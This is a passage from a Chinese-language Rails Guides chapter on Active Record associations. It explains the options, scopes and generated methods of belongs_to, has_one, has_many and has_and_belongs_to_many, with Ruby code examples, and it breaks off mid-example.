只需在关联的 belongs_to 一侧指定 :counter_cache 选项。

计数缓存字段通过 attr_readonly 方法加入关联模型的只读属性列表中。

4.1.2.4 :dependent +

:dependent 选项控制属主销毁后怎么处理关联的对象:

+
    +
  • :destroy:也销毁关联的对象

  • +
  • :delete_all:直接从数据库中删除关联的对象(不执行回调)

  • +
  • :nullify:把外键设为 NULL(不执行回调)

  • +
  • :restrict_with_exception:如果有关联的记录,抛出异常

  • +
  • :restrict_with_error:如果有关联的对象,为属主添加一个错误

  • +
+

belongs_to 关联和 has_many 关联配对时,不应该设置这个选项,否则会导致数据库中出现无主记录。

4.1.2.5 :foreign_key +

按照约定,用来存储外键的字段名是关联名后加 _id:foreign_key 选项可以设置要使用的外键名:

+
+class Book < ApplicationRecord
+  belongs_to :author, class_name: "Patron",
+                      foreign_key: "patron_id"
+end
+
+
+
+

不管怎样,Rails 都不会自动创建外键字段,你要自己在迁移中创建。

4.1.2.6 :primary_key +

按照约定,Rails 假定使用表中的 id 列保存主键。使用 :primary_key 选项可以指定使用其他列。

假如有个 users 表使用 guid 列存储主键,todos 想在 guid 列中存储用户的 ID,那么可以使用 primary_key 选项设置:

+
+class User < ApplicationRecord
+  self.primary_key = 'guid' # 主键是 guid,不是 id
+end
+
+class Todo < ApplicationRecord
+  belongs_to :user, primary_key: 'guid'
+end
+
+
+
+

执行 @user.todos.create 时,@todo 记录的用户 ID 是 @userguid 值。

4.1.2.7 :inverse_of +

:inverse_of 选项指定 belongs_to 关联另一端的 has_manyhas_one 关联名。不能和 :polymorphic 选项一起使用。

+
+class Author < ApplicationRecord
+  has_many :books, inverse_of: :author
+end
+
+class Book < ApplicationRecord
+  belongs_to :author, inverse_of: :books
+end
+
+
+
+
4.1.2.8 :polymorphic +

:polymorphic 选项为 true 时,表明这是个多态关联。多态关联已经详细介绍过多态关联。

4.1.2.9 :touch +

如果把 :touch 选项设为 true,保存或销毁对象时,关联对象的 updated_atupdated_on 字段会自动设为当前时间。

+
+class Book < ApplicationRecord
+  belongs_to :author, touch: true
+end
+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

在这个例子中,保存或销毁一本书后,会更新关联的作者的时间戳。还可指定要更新哪个时间戳字段:

+
+class Book < ApplicationRecord
+  belongs_to :author, touch: :books_updated_at
+end
+
+
+
+
4.1.2.10 :validate +

如果把 :validate 选项设为 true,保存对象时,会同时验证关联的对象。该选项的默认值是 false,保存对象时不验证关联的对象。

4.1.2.11 :optional +

如果把 :optional 选项设为 true,不会验证关联的对象是否存在。该选项的默认值是 false

4.1.3 belongs_to 的作用域

有时可能需要定制 belongs_to 关联使用的查询,定制的查询可在作用域代码块中指定。例如:

+
+class Book < ApplicationRecord
+  belongs_to :author, -> { where active: true },
+                      dependent: :destroy
+end
+
+
+
+

在作用域代码块中可以使用任何一个标准的查询方法。下面分别介绍这几个:

+
    +
  • where

  • +
  • includes

  • +
  • readonly

  • +
  • select

  • +
+
4.1.3.1 where +

where 方法指定关联对象必须满足的条件。

+
+class book < ApplicationRecord
+  belongs_to :author, -> { where active: true }
+end
+
+
+
+
4.1.3.2 includes +

includes 方法指定使用关联时要及早加载的间接关联。例如,有如下的模型:

+
+class LineItem < ApplicationRecord
+  belongs_to :book
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+  has_many :line_items
+end
+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

如果经常要直接从商品上获取作者对象(@line_item.book.author),就可以在关联中把作者从商品引入图书中:

+
+class LineItem < ApplicationRecord
+  belongs_to :book, -> { includes :author }
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+  has_many :line_items
+end
+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

直接关联没必要使用 includes。如果 Book belongs_to :author,那么需要使用时会自动及早加载作者。

4.1.3.3 readonly +

如果使用 readonly,通过关联获取的对象是只读的。

4.1.3.4 select +

select 方法用于覆盖检索关联对象使用的 SQL SELECT 子句。默认情况下,Rails 检索所有字段。

如果在 belongs_to 关联中使用 select 方法,应该同时设置 :foreign_key 选项,确保返回的结果正确。

4.1.4 什么时候保存对象

把对象赋值给 belongs_to 关联不会自动保存对象,也不会保存关联的对象。

4.2 has_one 关联详解

has_one 关联建立两个模型之间的一对一关系。用数据库术语来说,这种关联的意思是外键在另一个类中。如果外键在这个类中,应该使用 belongs_to 关联。

4.2.1 has_one 关联添加的方法

声明 has_one 关联后,声明所在的类自动获得了五个关联相关的方法:

+
    +
  • association

  • +
  • association=(associate)

  • +
  • build_association(attributes = {})

  • +
  • create_association(attributes = {})

  • +
  • create_association!(attributes = {})

  • +
+

这五个方法中的 association 要替换成传给 has_one 方法的第一个参数。对如下的声明来说:

+
+class Supplier < ApplicationRecord
+  has_one :account
+end
+
+
+
+

每个 Supplier 模型实例都获得了这些方法:

+
+account
+account=
+build_account
+create_account
+create_account!
+
+
+
+

has_onebelongs_to 关联中,必须使用 build_* 方法构建关联对象。association.build 方法是在 has_manyhas_and_belongs_to_many 关联中使用的。创建关联对象要使用 create_* 方法。

4.2.1.1 association +

如果关联的对象存在,association 方法会返回关联的对象。如果找不到关联的对象,返回 nil

+
+@account = @supplier.account
+
+
+
+

如果关联的对象之前已经取回,会返回缓存版本。如果不想使用缓存版本,而是强制重新从数据库中读取,在父对象上调用 #reload 方法。

+
+@account = @supplier.reload.account
+
+
+
+
4.2.1.2 association=(associate) +

association= 方法用于赋值关联的对象。这个方法的底层操作是,从对象上读取主键,然后把关联的对象的外键设为那个值。

+
+@supplier.account = @account
+
+
+
+
4.2.1.3 build_association(attributes = {}) +

build_association 方法返回该关联类型的一个新对象。这个对象使用传入的属性初始化,和对象链接的外键会自动设置,但关联对象不会存入数据库。

+
+@account = @supplier.build_account(terms: "Net 30")
+
+
+
+
4.2.1.4 create_association(attributes = {}) +

create_association 方法返回该关联类型的一个新对象。这个对象使用传入的属性初始化,和对象链接的外键会自动设置,只要能通过所有数据验证,就会把关联对象存入数据库。

+
+@account = @supplier.create_account(terms: "Net 30")
+
+
+
+
4.2.1.5 create_association!(attributes = {}) +

create_association 方法作用相同,但是如果记录无效,会抛出 ActiveRecord::RecordInvalid 异常。

4.2.2 has_one 方法的选项

Rails 的默认设置足够智能,能满足多数需求。但有时还是需要定制 has_one 关联的行为。定制的方法很简单,声明关联时传入选项即可。例如,下面的关联使用了两个选项:

+
+class Supplier < ApplicationRecord
+  has_one :account, class_name: "Billing", dependent: :nullify
+end
+
+
+
+

has_one 关联支持下列选项:

+
    +
  • :as

  • +
  • :autosave

  • +
  • :class_name

  • +
  • :dependent

  • +
  • :foreign_key

  • +
  • :inverse_of

  • +
  • :primary_key

  • +
  • :source

  • +
  • :source_type

  • +
  • :through

  • +
  • :validate

  • +
+
4.2.2.1 :as +

:as 选项表明这是多态关联。前文已经详细介绍过多态关联。

4.2.2.2 :autosave +

如果把 :autosave 选项设为 true,保存父对象时,会自动保存所有子对象,并把标记为析构的子对象销毁。

4.2.2.3 :class_name +

如果另一个模型无法从关联的名称获取,可以使用 :class_name 选项指定模型名。例如,供应商有一个账户,但表示账户的模型是 Billing,那么就可以这样声明关联:

+
+class Supplier < ApplicationRecord
+  has_one :account, class_name: "Billing"
+end
+
+
+
+
4.2.2.4 :dependent +

控制属主销毁后怎么处理关联的对象:

+
    +
  • :destroy:也销毁关联的对象;

  • +
  • :delete:直接把关联的对象从数据库中删除(不执行回调);

  • +
  • :nullify:把外键设为 NULL,不执行回调;

  • +
  • :restrict_with_exception:有关联的对象时抛出异常;

  • +
  • :restrict_with_error:有关联的对象时,向属主添加一个错误;

  • +
+

如果在数据库层设置了 NOT NULL 约束,就不能使用 :nullify 选项。如果 :dependent 选项没有销毁关联,就无法修改关联的对象,因为关联的对象的外键设置为不接受 NULL

4.2.2.5 :foreign_key +

按照约定,在另一个模型中用来存储外键的字段名是模型名后加 _id:foreign_key 选项用于设置要使用的外键名:

+
+class Supplier < ApplicationRecord
+  has_one :account, foreign_key: "supp_id"
+end
+
+
+
+

不管怎样,Rails 都不会自动创建外键字段,你要自己在迁移中创建。

4.2.2.6 :inverse_of +

:inverse_of 选项指定 has_one 关联另一端的 belongs_to 关联名。不能和 :through:as 选项一起使用。

+
+class Supplier < ApplicationRecord
+  has_one :account, inverse_of: :supplier
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier, inverse_of: :account
+end
+
+
+
+
4.2.2.7 :primary_key +

按照约定,用来存储该模型主键的字段名 id:primary_key 选项用于设置要使用的主键名。

4.2.2.8 :source +

:source 选项指定 has_one :through 关联的源关联名称。

4.2.2.9 :source_type +

:source_type 选项指定通过多态关联处理 has_one :through 关联的源关联类型。

4.2.2.10 :through +

:through 选项指定用于执行查询的联结模型。前文详细介绍过 has_one :through 关联。

4.2.2.11 :validate +

如果把 :validate 选项设为 true,保存对象时,会同时验证关联的对象。该选项的默认值是 false,即保存对象时不验证关联的对象。

4.2.3 has_one 的作用域

有时可能需要定制 has_one 关联使用的查询。定制的查询在作用域代码块中指定。例如:

+
+class Supplier < ApplicationRecord
+  has_one :account, -> { where active: true }
+end
+
+
+
+

在作用域代码块中可以使用任何一个标准的查询方法。下面介绍其中几个:

+
    +
  • where

  • +
  • includes

  • +
  • readonly

  • +
  • select

  • +
+
4.2.3.1 where +

where 方法指定关联的对象必须满足的条件。

+
+class Supplier < ApplicationRecord
+  has_one :account, -> { where "confirmed = 1" }
+end
+
+
+
+
4.2.3.2 includes +

includes 方法指定使用关联时要及早加载的间接关联。例如,有如下的模型:

+
+class Supplier < ApplicationRecord
+  has_one :account
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative < ApplicationRecord
+  has_many :accounts
+end
+
+
+
+

如果经常直接获取供应商代表(@supplier.account.representative),可以把代表引入供应商和账户的关联中:

+
+class Supplier < ApplicationRecord
+  has_one :account, -> { includes :representative }
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative < ApplicationRecord
+  has_many :accounts
+end
+
+
+
+
4.2.3.3 readonly +

如果使用 readonly,通过关联获取的对象是只读的。

4.2.3.4 select +

select 方法会覆盖获取关联对象使用的 SQL SELECT 子句。默认情况下,Rails 检索所有列。

4.2.4 检查关联的对象是否存在

检查关联的对象是否存在可以使用 association.nil? 方法:

+
+if @supplier.account.nil?
+  @msg = "No account found for this supplier"
+end
+
+
+
+
4.2.5 什么时候保存对象

把对象赋值给 has_one 关联时,那个对象会自动保存(因为要更新外键)。而且所有被替换的对象也会自动保存,因为外键也变了。

如果由于无法通过验证而导致上述保存失败,赋值语句返回 false,赋值操作会取消。

如果父对象(has_one 关联声明所在的模型)没保存(new_record? 方法返回 true),那么子对象也不会保存。只有保存了父对象,才会保存子对象。

如果赋值给 has_one 关联时不想保存对象,使用 association.build 方法。

4.3 has_many 关联详解

has_many 关联建立两个模型之间的一对多关系。用数据库术语来说,这种关联的意思是外键在另一个类中,指向这个类的实例。

4.3.1 has_many 关联添加的方法

声明 has_many 关联后,声明所在的类自动获得了 16 个关联相关的方法:

+
    +
  • collection

  • +
  • collection<<(object, …​)

  • +
  • collection.delete(object, …​)

  • +
  • collection.destroy(object, …​)

  • +
  • collection=(objects)

  • +
  • collection_singular_ids

  • +
  • collection_singular_ids=(ids)

  • +
  • collection.clear

  • +
  • collection.empty?

  • +
  • collection.size

  • +
  • collection.find(…​)

  • +
  • collection.where(…​)

  • +
  • collection.exists?(…​)

  • +
  • collection.build(attributes = {}, …​)

  • +
  • collection.create(attributes = {})

  • +
  • collection.create!(attributes = {})

  • +
+

这些个方法中的 collection 要替换成传给 has_many 方法的第一个参数。collection_singular 要替换成第一个参数的单数形式。对如下的声明来说:

+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

每个 Author 模型实例都获得了这些方法:

+
+books
+books<<(object, ...)
+books.delete(object, ...)
+books.destroy(object, ...)
+books=(objects)
+book_ids
+book_ids=(ids)
+books.clear
+books.empty?
+books.size
+books.find(...)
+books.where(...)
+books.exists?(...)
+books.build(attributes = {}, ...)
+books.create(attributes = {})
+books.create!(attributes = {})
+
+
+
+
4.3.1.1 collection +

collection 方法返回一个数组,包含所有关联的对象。如果没有关联的对象,则返回空数组。

+
+@books = @author.books
+
+
+
+
4.3.1.2 collection<<(object, …​) +

collection<< 方法向关联对象数组中添加一个或多个对象,并把各个所加对象的外键设为调用此方法的模型的主键。

+
+@author.books << @book1
+
+
+
+
4.3.1.3 collection.delete(object, …​) +

collection.delete 方法从关联对象数组中删除一个或多个对象,并把删除的对象外键设为 NULL

+
+@author.books.delete(@book1)
+
+
+
+

如果关联设置了 dependent: :destroy,还会销毁关联的对象;如果关联设置了 dependent: :delete_all,还会删除关联的对象。

4.3.1.4 collection.destroy(object, …​) +

collection.destroy 方法在关联对象上调用 destroy 方法,从关联对象数组中删除一个或多个对象。

+
+@author.books.destroy(@book1)
+
+
+
+

对象始终会从数据库中删除,忽略 :dependent 选项。

4.3.1.5 collection=(objects) +

collection= 方法让关联对象数组只包含指定的对象,根据需求会添加或删除对象。

4.3.1.6 collection_singular_ids +

collection_singular_ids 方法返回一个数组,包含关联对象数组中各对象的 ID。

+
+@book_ids = @author.book_ids
+
+
+
+
4.3.1.7 collection_singular_ids=(ids) +

collection_singular_ids= 方法让关联对象数组中只包含指定的主键,根据需要会增删 ID。

4.3.1.8 collection.clear +

collection.clear 方法根据 dependent 选项指定的策略删除集合中的所有对象。如果没有指定这个选项,使用默认策略。has_many :through 关联的默认策略是 delete_allhas_many 关联的默认策略是,把外键设为 NULL

+
+@author.books.clear
+
+
+
+

如果设为 dependent: :destroy,对象会被删除,这与 dependent: :delete_all 一样。

4.3.1.9 collection.empty? +

如果集合中没有关联的对象,collection.empty? 方法返回 true

+
+<% if @author.books.empty? %>
+  No Books Found
+<% end %>
+
+
+
+
4.3.1.10 collection.size +

collection.size 返回集合中的对象数量。

+
+@book_count = @author.books.size
+
+
+
+
4.3.1.11 collection.find(…​) +

collection.find 方法在集合中查找对象,使用的句法和选项跟 ActiveRecord::Base.find 方法一样。

+
+@available_books = @author.books.find(1)
+
+
+
+
4.3.2 collection.where(…​) +

collection.where 方法根据指定的条件在集合中查找对象,但对象是惰性加载的,即访问对象时才会查询数据库。

+
+@available_books = @author.books.where(available: true) # 尚未查询
+@available_book = @available_books.first # 现在查询数据库
+
+
+
+
4.3.2.1 collection.exists?(…​) +

collection.exists? 方法根据指定的条件检查集合中是否有符合条件的对象,使用的句法和选项跟 ActiveRecord::Base.exists? 方法一样。

4.3.2.2 collection.build(attributes = {}, …​) +

collection.build 方法返回一个或多个此种关联类型的新对象。这些对象会使用传入的属性初始化,还会创建对应的外键,但不会保存关联的对象。

+
+@book = @author.books.build(published_at: Time.now,
+                            book_number: "A12345")
+
+@books = @author.books.build([
+  { published_at: Time.now, book_number: "A12346" },
+  { published_at: Time.now, book_number: "A12347" }
+])
+
+
+
+
4.3.2.3 collection.create(attributes = {}) +

collection.create 方法返回一个或多个此种关联类型的新对象。这些对象会使用传入的属性初始化,还会创建对应的外键,只要能通过所有数据验证,就会保存关联的对象。

+
+@book = @author.books.create(published_at: Time.now,
+                             book_number: "A12345")
+
+@books = @author.books.create([
+  { published_at: Time.now, book_number: "A12346" },
+  { published_at: Time.now, book_number: "A12347" }
+])
+
+
+
+
4.3.3 collection.create!(attributes = {}) +

作用与 collection.create 相同,但如果记录无效,会抛出 ActiveRecord::RecordInvalid 异常。

4.3.4 has_many 方法的选项

Rails 的默认设置足够智能,能满足多数需求。但有时还是需要定制 has_many 关联的行为。定制的方法很简单,声明关联时传入选项即可。例如,下面的关联使用了两个选项:

+
+class Author < ApplicationRecord
+  has_many :books, dependent: :delete_all, validate: false
+end
+
+
+
+

has_many 关联支持以下选项:

+
    +
  • :as

  • +
  • :autosave

  • +
  • :class_name

  • +
  • :counter_cache

  • +
  • :dependent

  • +
  • :foreign_key

  • +
  • :inverse_of

  • +
  • :primary_key

  • +
  • :source

  • +
  • :source_type

  • +
  • :through

  • +
  • :validate

  • +
+
4.3.4.1 :as +

:as 选项表明这是多态关联。前文已经详细介绍过多态关联。

4.3.4.2 :autosave +

如果把 :autosave 选项设为 true,保存父对象时,会自动保存所有子对象,并把标记为析构的子对象销毁。

4.3.4.3 :class_name +

如果另一个模型无法从关联的名称获取,可以使用 :class_name 选项指定模型名。例如,一位作者有多本图书,但表示图书的模型是 Transaction,那么可以这样声明关联:

+
+class Author < ApplicationRecord
+  has_many :books, class_name: "Transaction"
+end
+
+
+
+
4.3.4.4 :counter_cache +

这个选项用于定制计数缓存列的名称。仅当定制了 belongs_to 关联的 :counter_cache 选项时才需要设定这个选项。

4.3.4.5 :dependent +

设置销毁属主时怎么处理关联的对象:

+
    +
  • :destroy:也销毁所有关联的对象;

  • +
  • :delete_all:直接把所有关联的对象从数据库中删除(不执行回调);

  • +
  • :nullify:把外键设为 NULL,不执行回调;

  • +
  • :restrict_with_exception:有关联的对象时抛出异常;

  • +
  • :restrict_with_error:有关联的对象时,向属主添加一个错误;

  • +
+
4.3.4.6 :foreign_key +

按照约定,另一个模型中用来存储外键的字段名是模型名后加 _id:foreign_key 选项用于设置要使用的外键名:

+
+class Author < ApplicationRecord
+  has_many :books, foreign_key: "cust_id"
+end
+
+
+
+

不管怎样,Rails 都不会自动创建外键字段,你要自己在迁移中创建。

4.3.4.7 :inverse_of +

:inverse_of 选项指定 has_many 关联另一端的 belongs_to 关联名。不能和 :through:as 选项一起使用。

+
+class Author < ApplicationRecord
+  has_many :books, inverse_of: :author
+end
+
+class Book < ApplicationRecord
+  belongs_to :author, inverse_of: :books
+end
+
+
+
+
4.3.4.8 :primary_key +

按照约定,用来存储该模型主键的字段名为 id:primary_key 选项用于设置要使用的主键名。

假设 users 表的主键是 id,但还有一个 guid 列。根据要求,todos 表中应该使用 guid 列作为外键,而不是 id 列。这种需求可以这么实现:

+
+class User < ApplicationRecord
+  has_many :todos, primary_key: :guid
+end
+
+
+
+

如果执行 @todo = @user.todos.create 创建新的待办事项,那么 @todo.user_id 就是 @user 记录中 guid 字段的值。

4.3.4.9 :source +

:source 选项指定 has_many :through 关联的源关联名称。只有无法从关联名中解出源关联的名称时才需要设置这个选项。

4.3.4.10 :source_type +

:source_type 选项指定通过多态关联处理 has_many :through 关联的源关联类型。

4.3.4.11 :through +

:through 选项指定一个联结模型,查询通过它执行。前文说过,has_many :through 关联是实现多对多关联的方式之一。

4.3.4.12 :validate +

如果把 :validate 选项设为 false,保存对象时,不验证关联的对象。该选项的默认值是 true,即保存对象时验证关联的对象。

4.3.5 has_many 的作用域

有时可能需要定制 has_many 关联使用的查询。定制的查询在作用域代码块中指定。例如:

+
+class Author < ApplicationRecord
+  has_many :books, -> { where processed: true }
+end
+
+
+
+

在作用域代码块中可以使用任何一个标准的查询方法。下面介绍其中几个:

+
    +
  • where

  • +
  • extending

  • +
  • group

  • +
  • includes

  • +
  • limit

  • +
  • offset

  • +
  • order

  • +
  • readonly

  • +
  • select

  • +
  • distinct

  • +
+
4.3.5.1 where +

where 方法指定关联的对象必须满足的条件。

+
+class Author < ApplicationRecord
+  has_many :confirmed_books, -> { where "confirmed = 1" },
+                             class_name: "Book"
+end
+
+
+
+

条件还可以使用散列指定:

+
+class Author < ApplicationRecord
+  has_many :confirmed_books, -> { where confirmed: true },
+                             class_name: "Book"
+end
+
+
+
+

如果 where 使用散列形式,通过这个关联创建的记录会自动使用散列中的作用域。针对上面的例子,使用 @author.confirmed_books.create@author.confirmed_books.build 创建图书时,会自动把 confirmed 列的值设为 true

4.3.5.2 extending +

extending 方法指定一个模块名,用于扩展关联代理。后文会详细介绍关联扩展。

4.3.5.3 group +

group 方法指定一个属性名,用在 SQL GROUP BY 子句中,分组查询结果。

+
+class Author < ApplicationRecord
+  has_many :line_items, -> { group 'books.id' },
+                        through: :books
+end
+
+
+
+
4.3.5.4 includes +

includes 方法指定使用关联时要及早加载的间接关联。例如,有如下的模型:

+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+  has_many :line_items
+end
+
+class LineItem < ApplicationRecord
+  belongs_to :book
+end
+
+
+
+

如果经常要直接获取作者购买的商品(@author.books.line_items),可以把商品引入作者和图书的关联中:

+
+class Author < ApplicationRecord
+  has_many :books, -> { includes :line_items }
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+  has_many :line_items
+end
+
+class LineItem < ApplicationRecord
+  belongs_to :book
+end
+
+
+
+
4.3.5.5 limit +

limit 方法限制通过关联获取的对象数量。

+
+class Author < ApplicationRecord
+  has_many :recent_books,
+    -> { order('published_at desc').limit(100) },
+    class_name: "Book",
+end
+
+
+
+
4.3.5.6 offset +

offset 方法指定通过关联获取对象时的偏移量。例如,-> { offset(11) } 会跳过前 11 个记录。

4.3.5.7 order +

order 方法指定获取关联对象时使用的排序方式,用在 SQL ORDER BY 子句中。

+
+class Author < ApplicationRecord
+  has_many :books, -> { order "date_confirmed DESC" }
+end
+
+
+
+
4.3.5.8 readonly +

如果使用 readonly,通过关联获取的对象是只读的。

4.3.5.9 select +

select 方法用于覆盖检索关联对象数据的 SQL SELECT 子句。默认情况下,Rails 会检索所有列。

如果设置 select 选项,记得要包含主键和关联模型的外键。否则,Rails 会抛出异常。

4.3.5.10 distinct +

使用 distinct 方法可以确保集合中没有重复的对象。与 :through 选项一起使用最有用。

+
+class Person < ApplicationRecord
+  has_many :readings
+  has_many :articles, through: :readings
+end
+
+person = Person.create(name: 'John')
+article   = Article.create(name: 'a1')
+person.articles << article
+person.articles << article
+person.articles.inspect # => [#<Article id: 5, name: "a1">, #<Article id: 5, name: "a1">]
+Reading.all.inspect  # => [#<Reading id: 12, person_id: 5, article_id: 5>, #<Reading id: 13, person_id: 5, article_id: 5>]
+
+
+
+

在上面的代码中,读者读了两篇文章,即使是同一篇文章,person.articles 也会返回两个对象。

下面加入 distinct 方法:

+
+class Person
+  has_many :readings
+  has_many :articles, -> { distinct }, through: :readings
+end
+
+person = Person.create(name: 'Honda')
+article   = Article.create(name: 'a1')
+person.articles << article
+person.articles << article
+person.articles.inspect # => [#<Article id: 7, name: "a1">]
+Reading.all.inspect  # => [#<Reading id: 16, person_id: 7, article_id: 7>, #<Reading id: 17, person_id: 7, article_id: 7>]
+
+
+
+

在这段代码中,读者还是读了两篇文章,但 person.articles 只返回一个对象,因为加载的集合已经去除了重复元素。

如果要确保只把不重复的记录写入关联模型的数据表(这样就不会从数据库中获取重复记录了),需要在数据表上添加唯一性索引。例如,数据表名为 readings,我们要保证其中所有的文章都没重复,可以在迁移中加入以下代码:

+
+add_index :readings, [:person_id, :article_id], unique: true
+
+
+
+

添加唯一性索引之后,尝试为同一个人添加两篇相同的文章会抛出 ActiveRecord::RecordNotUnique 异常:

+
+person = Person.create(name: 'Honda')
+article = Article.create(name: 'a1')
+person.articles << article
+person.articles << article # => ActiveRecord::RecordNotUnique
+
+
+
+

注意,使用 include? 等方法检查唯一性可能导致条件竞争。不要使用 include? 确保关联的唯一性。还是以前面的文章模型为例,下面的代码会导致条件竞争,因为多个用户可能会同时执行这一操作:

+
+person.articles << article unless person.articles.include?(article)
+
+
+
+
4.3.6 什么时候保存对象

把对象赋值给 has_many 关联时,会自动保存对象(因为要更新外键)。如果一次赋值多个对象,所有对象都会自动保存。

如果由于无法通过验证而导致保存失败,赋值语句返回 false,赋值操作会取消。

如果父对象(has_many 关联声明所在的模型)没保存(new_record? 方法返回 true),那么子对象也不会保存。只有保存了父对象,才会保存子对象。

如果赋值给 has_many 关联时不想保存对象,使用 collection.build 方法。

4.4 has_and_belongs_to_many 关联详解

has_and_belongs_to_many 关联建立两个模型之间的多对多关系。用数据库术语来说,这种关联的意思是有个联结表包含指向这两个类的外键。

4.4.1 has_and_belongs_to_many 关联添加的方法

声明 has_and_belongs_to_many 关联后,声明所在的类自动获得了 16 个关联相关的方法:

+
    +
  • collection

  • +
  • collection<<(object, …​)

  • +
  • collection.delete(object, …​)

  • +
  • collection.destroy(object, …​)

  • +
  • collection=(objects)

  • +
  • collection_singular_ids

  • +
  • collection_singular_ids=(ids)

  • +
  • collection.clear

  • +
  • collection.empty?

  • +
  • collection.size

  • +
  • collection.find(…​)

  • +
  • collection.where(…​)

  • +
  • collection.exists?(…​)

  • +
  • collection.build(attributes = {})

  • +
  • collection.create(attributes = {})

  • +
  • collection.create!(attributes = {})

  • +
+

这些个方法中的 collection 要替换成传给 has_and_belongs_to_many 方法的第一个参数。collection_singular 要替换成第一个参数的单数形式。对如下的声明来说:

+
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
+
+
+
+

每个 Part 模型实例都获得了这些方法:

+
+assemblies
+assemblies<<(object, ...)
+assemblies.delete(object, ...)
+assemblies.destroy(object, ...)
+assemblies=(objects)
+assembly_ids
+assembly_ids=(ids)
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.where(...)
+assemblies.exists?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+assemblies.create!(attributes = {})
+
+
+
+
4.4.1.1 额外的列方法

如果 has_and_belongs_to_many 关联使用的联结表中,除了两个外键之外还有其他列,通过关联获取的记录中会包含这些列,但是只读的,因为 Rails 不知道如何保存对这些列的改动。

has_and_belongs_to_many 关联的联结表中使用其他字段的功能已经废弃。如果在多对多关联中需要使用这么复杂的数据表,应该用 has_many :through 关联代替 has_and_belongs_to_many 关联。

4.4.1.2 collection +

collection 方法返回一个数组,包含所有关联的对象。如果没有关联的对象,则返回空数组。

+
+@assemblies = @part.assemblies
+
+
+
+
4.4.1.3 collection<<(object, …​) +

collection<< 方法向集合中添加一个或多个对象,并在联结表中创建相应的记录。

+
+@part.assemblies << @assembly1
+
+
+
+

这个方法是 collection.concatcollection.push 的别名。

4.4.1.4 collection.delete(object, …​) +

collection.delete 方法从集合中删除一个或多个对象,并删除联结表中相应的记录,但是不会销毁对象。

+
+@part.assemblies.delete(@assembly1)
+
+
+
+

这个方法不会触发联结记录上的回调。

4.4.1.5 collection.destroy(object, …​) +

collection.destroy 方法在联结表中的记录上调用 destroy 方法,从集合中删除一个或多个对象,还会触发回调。这个方法不会销毁对象本身。

+
+@part.assemblies.destroy(@assembly1)
+
+
+
+
4.4.1.6 collection=(objects) +

collection= 方法让集合只包含指定的对象,根据需求会添加或删除对象。

4.4.1.7 collection_singular_ids +

collection_singular_ids 方法返回一个数组,包含集合中各对象的 ID。

+
+@assembly_ids = @part.assembly_ids
+
+
+
+
4.4.1.8 collection_singular_ids=(ids) +

collection_singular_ids= 方法让集合中只包含指定的主键,根据需要会增删 ID。

4.4.1.9 collection.clear +

collection.clear 方法删除集合中的所有对象,并把联结表中的相应记录删除。这个方法不会销毁关联的对象。

4.4.1.10 collection.empty? +

如果集合中没有任何关联的对象,collection.empty? 方法返回 true

+
+<% if @part.assemblies.empty? %>
+  This part is not used in any assemblies
+<% end %>
+
+
+
+
4.4.1.11 collection.size +

collection.size 方法返回集合中的对象数量。

+
+@assembly_count = @part.assemblies.size
+
+
+
+
4.4.1.12 collection.find(…​) +

collection.find 方法在集合中查找对象,使用的句法和选项跟 ActiveRecord::Base.find 方法一样。此外还限制对象必须在集合中。

+
+@assembly = @part.assemblies.find(1)
+
+
+
+
4.4.1.13 collection.where(…​) +

collection.where 方法根据指定的条件在集合中查找对象,但对象是惰性加载的,访问对象时才执行查询。此外还限制对象必须在集合中。

+
+@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
+
+
+
+
4.4.1.14 collection.exists?(…​) +

collection.exists? 方法根据指定的条件检查集合中是否有符合条件的对象,使用的句法和选项跟 ActiveRecord::Base.exists? 方法一样。

4.4.1.15 collection.build(attributes = {}) +

collection.build 方法返回一个此种关联类型的新对象。这个对象会使用传入的属性初始化,还会在联结表中创建对应的记录,但不会保存关联的对象。

+
+@assembly = @part.assemblies.build({assembly_name: "Transmission housing"})
+
+
+
+
4.4.1.16 collection.create(attributes = {}) +

collection.create 方法返回一个此种关联类型的新对象。这个对象会使用传入的属性初始化,还会在联结表中创建对应的记录,只要能通过所有数据验证,就保存关联对象。

+
+@assembly = @part.assemblies.create({assembly_name: "Transmission housing"})
+
+
+
+
4.4.1.17 collection.create!(attributes = {}) +

作用和 collection.create 相同,但如果记录无效,会抛出 ActiveRecord::RecordInvalid 异常。

4.4.2 has_and_belongs_to_many 方法的选项

Rails 的默认设置足够智能,能满足多数需求。但有时还是需要定制 has_and_belongs_to_many 关联的行为。定制的方法很简单,声明关联时传入选项即可。例如,下面的关联使用了两个选项:

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies, -> { readonly },
+                                       autosave: true
+end
+
+
+
+

has_and_belongs_to_many 关联支持以下选项:

+
    +
  • :association_foreign_key

  • +
  • :autosave

  • +
  • :class_name

  • +
  • :foreign_key

  • +
  • :join_table

  • +
  • :validate

  • +
+
4.4.2.1 :association_foreign_key +

按照约定,在联结表中用来指向另一个模型的外键名是模型名后加 _id:association_foreign_key 选项用于设置要使用的外键名:

:foreign_key:association_foreign_key 这两个选项在设置多对多自联结时很有用。例如:

+
+
+
+class User < ApplicationRecord
+  has_and_belongs_to_many :friends,
+      class_name: "User",
+      foreign_key: "this_user_id",
+      association_foreign_key: "other_user_id"
+end
+
+
+
+
+
4.4.2.2 :autosave +

如果把 :autosave 选项设为 true,保存父对象时,会自动保存所有子对象,并把标记为析构的子对象销毁。

4.4.2.3 :class_name +

如果另一个模型无法从关联的名称获取,可以使用 :class_name 选项指定。例如,一个部件由多个装配件组成,但表示装配件的模型是 Gadget,那么可以这样声明关联:

+
+class Parts < ApplicationRecord
